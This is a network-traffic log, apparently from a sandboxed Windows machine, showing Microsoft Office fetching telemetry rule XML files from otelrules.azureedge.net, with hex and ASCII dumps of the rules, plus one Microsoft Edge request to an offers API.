2024-11-23 18:52:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185242Z-15b8b599d88vp97chC1TEB5pzw000000039000000000c44m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185243Z-174c587ffdfp4vpjhC1TEBybqw00000003c00000000072kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185243Z-178bfbc474btrnf9hC1NYCb80g00000004wg00000000qamn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:44 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185244Z-178bfbc474bv587zhC1NYCny5w00000004v0000000000gs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185244Z-174c587ffdfcb7qhhC1TEB3x7000000003g0000000001wks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:45 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:45 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185245Z-174c587ffdf9xbcchC1TEBxkz4000000034000000000hxfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:45 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:45 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:45 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185245Z-178bfbc474bq2pr7hC1NYCkfgg00000004zg00000000bdbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:45 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:45 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:46 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:45 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: dea688b9-b01e-003d-136c-3dd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185245Z-15b8b599d889gj5whC1TEBfyk0000000035g000000008rgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49823	94.245.104.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:47 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:47 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 18:52:47 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9227ae1cb5a277729efa46e240c1611079a5bbd85009e9cf84a0012a98e40629;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=9227ae1cb5a277729efa46e240c1611079a5bbd85009e9cf84a0012a98e40629;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185247Z-15b8b599d88wk8w4hC1TEB14b800000003f0000000001avg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185247Z-178bfbc474bscnbchC1NYCe7eg000000054000000000077e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:48 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185248Z-174c587ffdfcj798hC1TEB9bq400000003eg00000000h12e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
